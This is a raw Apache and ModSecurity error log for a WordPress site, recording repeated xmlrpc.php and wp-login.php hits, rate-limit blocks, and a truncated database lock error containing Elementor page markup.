[Sat Dec 27 12:37:11.550834 2025] [:error] [pid 32192:tid 32225] [client 217.160.21.41:37142] [client 217.160.21.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.21.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9idy_q0VFe066lbk8X8AAAAEI"]
[Sat Dec 27 12:39:11.231718 2025] [:error] [pid 32278:tid 32281] [client 104.131.180.139:62965] [client 104.131.180.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.131.180.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU9i73-IfCN2Cy9GccjbYwAAAME"]
[Sat Dec 27 12:39:13.178626 2025] [:error] [pid 32192:tid 32245] [client 104.131.180.139:63040] [client 104.131.180.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.131.180.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU9i8S_q0VFe066lbk8YGQAAAFY"]
[Sat Dec 27 13:19:09.261336 2025] [:error] [pid 32193:tid 32273] [client 46.62.194.3:36336] [client 46.62.194.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.62.194.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU9sTRgw0eCOc2qYqaJwEAAAAJc"]
[Sat Dec 27 13:58:45.266194 2025] [:error] [pid 45373:tid 45395] [client 149.202.92.141:36538] [client 149.202.92.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.92.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU91lS7p_wFcbpu46HU0pwAAAVQ"]
[Sat Dec 27 14:44:47.532004 2025] [:error] [pid 32191:tid 32205] [client 95.174.29.115:53770] [client 95.174.29.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.174.29.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU-AX7PNtMgrjVCHIdH_9AAAAAo"]
[Sat Dec 27 15:17:31.078012 2025] [:error] [pid 31933:tid 31939] [client 68.178.164.217:48498] [client 68.178.164.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.178.164.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU-IC8Gr1WIJr39uqaqYwQAAAcQ"]
[Sat Dec 27 15:56:30.776888 2025] [:error] [pid 32278:tid 32283] [client 96.46.48.39:48916] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU-RLn-IfCN2Cy9Gccj42gAAAMM"]
[Sat Dec 27 17:17:56.989876 2025] [:error] [pid 31933:tid 31942] [client 18.138.63.53:50784] [client 18.138.63.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.138.63.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU-kRMGr1WIJr39uqaqzJgAAAcc"]
[Sat Dec 27 17:57:57.654394 2025] [:error] [pid 32192:tid 32237] [client 46.62.194.3:41858] [client 46.62.194.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.62.194.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU-tpS_q0VFe066lbk9GCQAAAE4"]
[Sat Dec 27 18:00:49.656174 2025] [:error] [pid 31933:tid 31959] [client 182.42.105.85:54988] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aU-uUcGr1WIJr39uqaq_uAAAAdg"]
[Sat Dec 27 18:37:54.287153 2025] [:error] [pid 45373:tid 45384] [client 18.206.29.43:39552] [client 18.206.29.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 18.206.29.43, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU-3Ai7p_wFcbpu46HVmHAAAAUk"]
[Sat Dec 27 19:20:06.224973 2025] [:error] [pid 32193:tid 32264] [client 45.195.75.44:37396] [client 45.195.75.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.195.75.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_A5hgw0eCOc2qYqaKknQAAAI4"]
[Sat Dec 27 20:03:04.025694 2025] [:error] [pid 32278:tid 32293] [client 138.197.78.152:53642] [client 138.197.78.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.78.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_K-H-IfCN2Cy9GccglggAAAM0"]
[Sat Dec 27 21:29:24.714958 2025] [:error] [pid 15939:tid 15957] [client 61.244.204.54:36406] [client 61.244.204.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.244.204.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_fNOZ7qdnFxikanMLtyAAAARA"]
[Sat Dec 27 22:14:59.462483 2025] [:error] [pid 32192:tid 32227] [client 194.182.184.76:33112] [client 194.182.184.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.182.184.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_p4y_q0VFe066lbk9q0QAAAEQ"]
[Sat Dec 27 23:01:51.298293 2025] [:error] [pid 32191:tid 32202] [client 62.210.64.72:57570] [client 62.210.64.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.210.64.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_037PNtMgrjVCHIdFMUgAAAAc"]
[Sat Dec 27 23:20:24.180458 2025] [:error] [pid 31933:tid 31944] [client 104.166.88.34:63585] [client 104.166.88.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.166.88.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5OMGr1WIJr39uqaoYBgAAAck"]
[Sat Dec 27 23:20:26.696229 2025] [:error] [pid 15939:tid 15962] [client 104.166.88.34:63892] [client 104.166.88.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.166.88.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5OuZ7qdnFxikanMIAMgAAARU"]
[Sat Dec 27 23:20:28.597202 2025] [:error] [pid 32192:tid 32245] [client 104.166.88.34:64084] [client 104.166.88.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.166.88.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5PC_q0VFe066lbk90PQAAAFY"]
[Sat Dec 27 23:20:30.502340 2025] [:error] [pid 31933:tid 31959] [client 104.166.88.34:64309] [client 104.166.88.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.166.88.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5PsGr1WIJr39uqaoYEQAAAdg"]
[Sat Dec 27 23:20:32.348802 2025] [:error] [pid 32191:tid 32205] [client 104.166.88.34:64553] [client 104.166.88.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.166.88.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5QLPNtMgrjVCHIdFPlgAAAAo"]
[Sat Dec 27 23:20:34.192366 2025] [:error] [pid 31933:tid 31947] [client 104.166.88.34:64819] [client 104.166.88.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.166.88.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5QsGr1WIJr39uqaoYIAAAAcw"]
[Sat Dec 27 23:20:34.192563 2025] [:error] [pid 31933:tid 31947] [client 104.166.88.34:64819] [client 104.166.88.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.166.88.34, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5QsGr1WIJr39uqaoYIAAAAcw"]
[Sat Dec 27 23:20:35.020659 2025] [:error] [pid 32191:tid 32215] [client 104.166.88.34:64915] [client 104.166.88.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.166.88.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5Q7PNtMgrjVCHIdFPmgAAABQ"]
[Sat Dec 27 23:20:35.020840 2025] [:error] [pid 32191:tid 32215] [client 104.166.88.34:64915] [client 104.166.88.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.166.88.34, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5Q7PNtMgrjVCHIdFPmgAAABQ"]
[Sat Dec 27 23:20:35.835562 2025] [:error] [pid 45373:tid 45378] [client 104.166.88.34:65011] [client 104.166.88.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.166.88.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5Qy7p_wFcbpu46HWhagAAAUM"]
[Sat Dec 27 23:20:35.835701 2025] [:error] [pid 45373:tid 45378] [client 104.166.88.34:65011] [client 104.166.88.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.166.88.34, counter = 8"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5Qy7p_wFcbpu46HWhagAAAUM"]
[Sat Dec 27 23:20:36.643452 2025] [:error] [pid 32193:tid 32262] [client 104.166.88.34:65098] [client 104.166.88.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.166.88.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5RBgw0eCOc2qYqaLJGwAAAIw"]
[Sat Dec 27 23:20:36.643647 2025] [:error] [pid 32193:tid 32262] [client 104.166.88.34:65098] [client 104.166.88.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.166.88.34, counter = 9"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_5RBgw0eCOc2qYqaLJGwAAAIw"]
[Sat Dec 27 23:24:04.063094 2025] [:error] [pid 31933:tid 31938] [client 92.204.20.249:39306] [client 92.204.20.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.20.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6FMGr1WIJr39uqaoZHQAAAcM"]
[Sat Dec 27 23:24:07.131421 2025] [:error] [pid 3114:tid 3135] [client 92.204.20.249:39318] [client 92.204.20.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.20.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6F2JGrIkLOdbPpJjHywAAAZE"]
[Sat Dec 27 23:24:09.583585 2025] [:error] [pid 45373:tid 45383] [client 92.204.20.249:39322] [client 92.204.20.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.20.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6GS7p_wFcbpu46HWiBwAAAUg"]
[Sat Dec 27 23:24:12.069214 2025] [:error] [pid 15939:tid 15949] [client 92.204.20.249:39332] [client 92.204.20.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.20.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6HOZ7qdnFxikanMIAnQAAAQg"]
[Sat Dec 27 23:24:14.534834 2025] [:error] [pid 15939:tid 15965] [client 92.204.20.249:35386] [client 92.204.20.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.20.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6HuZ7qdnFxikanMIAoQAAARg"]
[Sat Dec 27 23:24:17.015559 2025] [:error] [pid 32278:tid 32297] [client 92.204.20.249:35400] [client 92.204.20.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.20.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6IX-IfCN2Cy9GcchL6gAAANE"]
[Sat Dec 27 23:24:17.015759 2025] [:error] [pid 32278:tid 32297] [client 92.204.20.249:35400] [client 92.204.20.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 92.204.20.249, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6IX-IfCN2Cy9GcchL6gAAANE"]
[Sat Dec 27 23:24:54.263217 2025] [:error] [pid 32192:tid 32226] [client 78.157.38.117:44012] [client 78.157.38.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.157.38.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6Ri_q0VFe066lbk90oQAAAEM"]
[Sat Dec 27 23:24:57.224117 2025] [:error] [pid 3114:tid 3142] [client 78.157.38.117:44026] [client 78.157.38.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.157.38.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6SWJGrIkLOdbPpJjH8AAAAZg"]
[Sat Dec 27 23:25:00.177543 2025] [:error] [pid 45373:tid 45382] [client 78.157.38.117:44030] [client 78.157.38.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.157.38.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6TC7p_wFcbpu46HWiJwAAAUc"]
[Sat Dec 27 23:25:03.231596 2025] [:error] [pid 31933:tid 31940] [client 78.157.38.117:49528] [client 78.157.38.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.157.38.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6T8Gr1WIJr39uqaoZXAAAAcU"]
[Sat Dec 27 23:25:04.854046 2025] [:error] [pid 31933:tid 31942] [client 77.222.40.223:47864] [client 77.222.40.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.222.40.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6UMGr1WIJr39uqaoZaAAAAcc"]
[Sat Dec 27 23:25:06.052873 2025] [:error] [pid 32191:tid 32207] [client 78.157.38.117:49544] [client 78.157.38.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.157.38.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6UrPNtMgrjVCHIdFQGgAAAAw"]
[Sat Dec 27 23:25:08.063755 2025] [:error] [pid 32193:tid 32250] [client 77.222.40.223:48478] [client 77.222.40.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.222.40.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6VBgw0eCOc2qYqaLJjAAAAIA"]
[Sat Dec 27 23:25:08.866043 2025] [:error] [pid 3114:tid 3126] [client 78.157.38.117:49556] [client 78.157.38.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.157.38.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6VGJGrIkLOdbPpJjH9gAAAYg"]
[Sat Dec 27 23:25:08.866174 2025] [:error] [pid 3114:tid 3126] [client 78.157.38.117:49556] [client 78.157.38.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 78.157.38.117, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6VGJGrIkLOdbPpJjH9gAAAYg"]
[Sat Dec 27 23:25:11.263403 2025] [:error] [pid 45373:tid 45390] [client 77.222.40.223:48804] [client 77.222.40.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.222.40.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6Vy7p_wFcbpu46HWiLQAAAU8"]
[Sat Dec 27 23:25:14.343208 2025] [:error] [pid 31933:tid 31950] [client 77.222.40.223:49054] [client 77.222.40.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.222.40.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6WsGr1WIJr39uqaoZcgAAAc8"]
[Sat Dec 27 23:25:17.164767 2025] [:error] [pid 32191:tid 32206] [client 77.222.40.223:49354] [client 77.222.40.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.222.40.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6XbPNtMgrjVCHIdFQHQAAAAs"]
[Sat Dec 27 23:25:19.980056 2025] [:error] [pid 32191:tid 32199] [client 77.222.40.223:49638] [client 77.222.40.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.222.40.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6X7PNtMgrjVCHIdFQIAAAAAQ"]
[Sat Dec 27 23:25:19.980169 2025] [:error] [pid 32191:tid 32199] [client 77.222.40.223:49638] [client 77.222.40.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 77.222.40.223, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6X7PNtMgrjVCHIdFQIAAAAAQ"]
[Sat Dec 27 23:25:21.940928 2025] [:error] [pid 32191:tid 32197] [client 77.222.40.223:49924] [client 77.222.40.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.222.40.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6YbPNtMgrjVCHIdFQIgAAAAI"]
[Sat Dec 27 23:25:21.941065 2025] [:error] [pid 32191:tid 32197] [client 77.222.40.223:49924] [client 77.222.40.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 77.222.40.223, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6YbPNtMgrjVCHIdFQIgAAAAI"]
[Sat Dec 27 23:25:23.743242 2025] [:error] [pid 15939:tid 15960] [client 77.222.40.223:50308] [client 77.222.40.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.222.40.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6Y-Z7qdnFxikanMIAugAAARM"]
[Sat Dec 27 23:25:23.743382 2025] [:error] [pid 15939:tid 15960] [client 77.222.40.223:50308] [client 77.222.40.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 77.222.40.223, counter = 8"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU_6Y-Z7qdnFxikanMIAugAAARM"]
[Sat Dec 27 23:58:25.538402 2025] [proxy_fcgi:error] [pid 3114:tid 3126] [client 141.140.9.214:15843] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_postmeta` SET `meta_value` = '{\\"timeout\\":1766937505,\\"value\\":{\\"content\\":\\"<div class=\\\\\\"elementor-element elementor-element-32cc3b9 e-flex e-con-boxed e-con e-parent\\\\\\" data-id=\\\\\\"32cc3b9\\\\\\" data-element_type=\\\\\\"container\\\\\\" data-settings=\\\\\\"{&quot;background_background&quot;:&quot;classic&quot;,&quot;shape_divider_bottom&quot;:&quot;tilt&quot;}\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"e-con-inner\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-shape elementor-shape-bottom\\\\\\" aria-hidden=\\\\\\"true\\\\\\" data-negative=\\\\\\"false\\\\\\">\\\\n\\\\t\\\\t\\\\t<svg xmlns=\\\\\\"http:\\\\/\\\\/www.w3.org\\\\/2000\\\\/svg\\\\\\" viewBox=\\\\\\"0 0 1000 100\\\\\\" preserveAspectRatio=\\\\\\"none\\\\\\">\\\\n\\\\t<path class=\\\\\\"elementor-shape-fill\\\\\\" 